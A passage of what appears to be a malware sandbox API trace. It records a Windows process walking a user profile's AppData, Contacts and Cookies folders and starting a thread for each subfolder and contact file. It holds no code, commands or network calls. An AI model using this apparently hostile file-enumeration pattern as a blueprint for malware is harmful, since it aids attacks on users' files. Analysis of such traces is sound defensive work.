BaseAddress=0x431d9ec0) returned 1 [0204.084] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e570) returned 1 Thread: id = 252 os_tid = 0xd20 [0087.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x50) returned 0x1cd9c6d0 [0087.774] wcscpy (in: _Dest=0x1cd9c6d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" [0087.774] wcscat (in: _Dest=0x1cd9c6d0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\" [0087.774] wcscat (in: _Dest=0x1cd9c6d0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*" [0087.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1dd20 [0087.774] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c730 [0087.775] wcscmp (_String1=".", _String2=".") returned 0 [0087.775] FindNextFileW (in: hFindFile=0x1cd9c730, lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.775] wcscmp (_String1="..", _String2=".") returned 1 [0087.775] wcscmp (_String1="..", _String2="..") returned 0 [0087.775] FindNextFileW (in: hFindFile=0x1cd9c730, lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0087.775] wcscmp (_String1="Local", _String2=".") returned 1 [0087.775] wcscmp (_String1="Local", _String2="..") returned 1 [0087.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1cd9c790 [0087.775] wcscpy (in: _Dest=0x1cd9c790, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" [0087.775] wcscat (in: _Dest=0x1cd9c790, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\" [0087.775] wcscat (in: _Dest=0x1cd9c790, _Source="Local" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" [0090.646] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd9c790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9bc [0090.646] FindNextFileW (in: hFindFile=0x1cd9c730, lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0090.646] wcscmp (_String1="LocalLow", _String2=".") returned 1 [0090.646] wcscmp (_String1="LocalLow", _String2="..") returned 1 [0090.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5e) returned 0x1b7c1bf0 [0090.647] wcscpy (in: _Dest=0x1b7c1bf0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" [0090.647] wcscat (in: _Dest=0x1b7c1bf0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\" [0090.647] wcscat (in: _Dest=0x1b7c1bf0, _Source="LocalLow" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow" [0090.647] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c1bf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x798 [0090.647] FindNextFileW (in: hFindFile=0x1cd9c730, lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd9f15540, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd9f15540, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0090.647] wcscmp (_String1="Roaming", _String2=".") returned 1 [0090.647] wcscmp (_String1="Roaming", _String2="..") returned 1 [0090.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5c) returned 0x1b7c1b80 [0090.648] wcscpy (in: _Dest=0x1b7c1b80, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" [0090.648] wcscat (in: _Dest=0x1b7c1b80, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\" [0090.648] wcscat (in: _Dest=0x1b7c1b80, _Source="Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0090.648] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c1b80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x794 [0090.648] FindNextFileW (in: hFindFile=0x1cd9c730, lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd9f15540, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd9f15540, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0090.648] FindClose (in: hFindFile=0x1cd9c730 | out: hFindFile=0x1cd9c730) returned 1 [0090.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1dd20) returned 1 [0090.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c6d0) returned 1 [0090.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8587f0) returned 1 Thread: id = 253 os_tid = 0xd24 [0087.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c2130 [0087.776] wcscpy (in: _Dest=0x1b7c2130, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data" [0087.776] wcscat (in: _Dest=0x1b7c2130, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\" [0087.776] wcscat (in: _Dest=0x1b7c2130, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*" [0087.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1df90 [0087.776] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*", lpFindFileData=0x1ce1df90 | out: lpFindFileData=0x1ce1df90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0087.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1df90) returned 1 [0087.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2130) returned 1 [0087.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1c60) returned 1 Thread: id = 254 os_tid = 0xd28 [0087.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9c7f0 [0087.781] wcscpy (in: _Dest=0x1cd9c7f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" [0087.782] wcscat (in: _Dest=0x1cd9c7f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\" [0087.782] wcscat (in: _Dest=0x1cd9c7f0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*" [0087.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1df90 [0087.782] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", lpFindFileData=0x1ce1df90 | out: lpFindFileData=0x1ce1df90*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c850 [0087.782] wcscmp (_String1=".", _String2=".") returned 0 [0087.782] FindNextFileW (in: hFindFile=0x1cd9c850, lpFindFileData=0x1ce1df90 | out: lpFindFileData=0x1ce1df90*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.782] wcscmp (_String1="..", _String2=".") returned 1 [0087.782] wcscmp (_String1="..", _String2="..") returned 0 [0087.782] FindNextFileW (in: hFindFile=0x1cd9c850, lpFindFileData=0x1ce1df90 | out: lpFindFileData=0x1ce1df90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ea7ef20, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2ea7ef20, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2ea7ef20, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x49a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aclviho ASldjfl.contact", cAlternateFileName="ACLVIH~1.CON")) returned 1 [0087.782] wcscmp (_String1="Aclviho ASldjfl.contact", _String2=".") returned 1 [0087.782] wcscmp (_String1="Aclviho ASldjfl.contact", _String2="..") returned 1 [0087.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b783f80 [0087.782] wcscpy (in: _Dest=0x1b783f80, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" [0087.782] wcscat (in: _Dest=0x1b783f80, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\" [0087.782] wcscat (in: _Dest=0x1b783f80, _Source="Aclviho ASldjfl.contact" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" [0090.748] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b783f80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x954 [0090.749] FindNextFileW (in: hFindFile=0x1cd9c850, lpFindFileData=0x1ce1df90 | out: lpFindFileData=0x1ce1df90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 [0090.749] wcscmp (_String1="Administrator.contact", _String2=".") returned 1 [0090.749] wcscmp (_String1="Administrator.contact", _String2="..") returned 1 [0090.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b784640 [0090.749] wcscpy (in: _Dest=0x1b784640, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" [0090.749] wcscat (in: _Dest=0x1b784640, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\" [0090.749] wcscat (in: _Dest=0x1b784640, _Source="Administrator.contact" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" [0090.749] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784640, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5ec [0090.750] FindNextFileW (in: hFindFile=0x1cd9c850, lpFindFileData=0x1ce1df90 | out: lpFindFileData=0x1ce1df90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaa5080, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaa5080, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaa5080, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0x0, dwReserved1=0x0, cFileName="asdlfk poopvy.contact", cAlternateFileName="ASDLFK~1.CON")) returned 1 [0090.750] wcscmp (_String1="asdlfk poopvy.contact", _String2=".") returned 1 [0090.750] wcscmp (_String1="asdlfk poopvy.contact", _String2="..") returned 1 [0090.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b7845b0 [0090.750] wcscpy (in: _Dest=0x1b7845b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" [0090.750] wcscat (in: _Dest=0x1b7845b0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\" [0090.750] wcscat (in: _Dest=0x1b7845b0, _Source="asdlfk poopvy.contact" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" [0090.750] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7845b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e8 [0090.751] FindNextFileW (in: hFindFile=0x1cd9c850, lpFindFileData=0x1ce1df90 | out: lpFindFileData=0x1ce1df90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eacb1e0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eacb1e0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eacb1e0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x499, dwReserved0=0x0, dwReserved1=0x0, cFileName="chucu jadnvk.contact", cAlternateFileName="CHUCUJ~1.CON")) returned 1 [0090.751] wcscmp (_String1="chucu jadnvk.contact", _String2=".") returned 1 [0090.751] wcscmp (_String1="chucu jadnvk.contact", _String2="..") returned 1 [0090.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b866340 [0090.751] wcscpy (in: _Dest=0x1b866340, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" [0090.751] wcscat (in: _Dest=0x1b866340, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\" [0090.751] wcscat (in: _Dest=0x1b866340, _Source="chucu jadnvk.contact" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" [0090.751] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b866340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e4 [0090.752] FindNextFileW (in: hFindFile=0x1cd9c850, lpFindFileData=0x1ce1df90 | out: lpFindFileData=0x1ce1df90*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0090.752] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0090.752] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0090.752] FindNextFileW (in: hFindFile=0x1cd9c850, lpFindFileData=0x1ce1df90 | out: lpFindFileData=0x1ce1df90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0x0, dwReserved1=0x0, cFileName="lulcit amkdfe.contact", cAlternateFileName="LULCIT~1.CON")) returned 1 [0090.752] wcscmp (_String1="lulcit amkdfe.contact", _String2=".") returned 1 [0090.752] wcscmp (_String1="lulcit amkdfe.contact", _String2="..") returned 1 [0090.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b784520 [0090.752] wcscpy (in: _Dest=0x1b784520, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" [0090.752] wcscat (in: _Dest=0x1b784520, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\" [0090.752] wcscat (in: _Dest=0x1b784520, _Source="lulcit amkdfe.contact" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" [0090.752] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e0 [0090.753] FindNextFileW (in: hFindFile=0x1cd9c850, lpFindFileData=0x1ce1df90 | out: lpFindFileData=0x1ce1df90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0x0, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 1 [0090.753] wcscmp (_String1="sikvnb huvuib.contact", _String2=".") returned 1 [0090.753] wcscmp (_String1="sikvnb huvuib.contact", _String2="..") returned 1 [0090.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b784400 [0090.753] wcscpy (in: _Dest=0x1b784400, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" [0090.753] wcscat (in: _Dest=0x1b784400, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\" [0090.753] wcscat (in: _Dest=0x1b784400, _Source="sikvnb huvuib.contact" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" [0090.753] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5dc [0090.754] FindNextFileW (in: hFindFile=0x1cd9c850, lpFindFileData=0x1ce1df90 | out: lpFindFileData=0x1ce1df90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0x0, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0 [0090.754] FindClose (in: hFindFile=0x1cd9c850 | out: hFindFile=0x1cd9c850) returned 1 [0090.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1df90) returned 1 [0090.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c7f0) returned 1 [0090.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858850) returned 1 Thread: id = 255 os_tid = 0xd2c [0087.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x50) returned 0x1cd9c8b0 [0087.785] wcscpy (in: _Dest=0x1cd9c8b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies" [0087.785] wcscat (in: _Dest=0x1cd9c8b0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\" [0087.785] wcscat (in: _Dest=0x1cd9c8b0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*" [0087.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1e200 [0087.785] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*", lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0087.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1e200) returned 1 [0087.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c8b0) returned 1 [0087.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8588b0) returned 1 Thread: id = 256 os_tid = 0xd30 [0087.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x50) returned 0x1b8588b0 [0087.788] wcscpy (in: 